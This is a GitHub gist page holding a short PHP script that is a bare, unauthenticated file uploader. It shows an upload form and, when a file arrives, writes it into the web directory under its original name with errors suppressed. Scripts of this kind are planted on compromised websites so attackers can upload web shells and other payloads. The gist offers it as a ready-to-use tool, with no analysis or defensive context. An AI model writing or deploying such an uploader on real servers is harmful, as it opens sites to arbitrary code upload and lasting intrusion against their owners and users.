Skip to content

Instantly share code, notes, and snippets.

@widhisec
Created September 30, 2019 13:29
Show Gist options
  • Save widhisec/98a2d7e5c36d6ad88df14dd6ec08da05 to your computer and use it in GitHub Desktop.
Save widhisec/98a2d7e5c36d6ad88df14dd6ec08da05 to your computer and use it in GitHub Desktop.
<?php
if (isset($_FILES['azzatssins']['name'])) {
$name = $_FILES['azzatssins']['name'];
$azx = $_FILES['azzatssins']['tmp_name'];
@move_uploaded_file($azx, $name);
echo $name;
} else {
echo "<form method=post enctype=multipart/form-data><input type=file name=azzatssins><input type=submit value='>>'>";
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment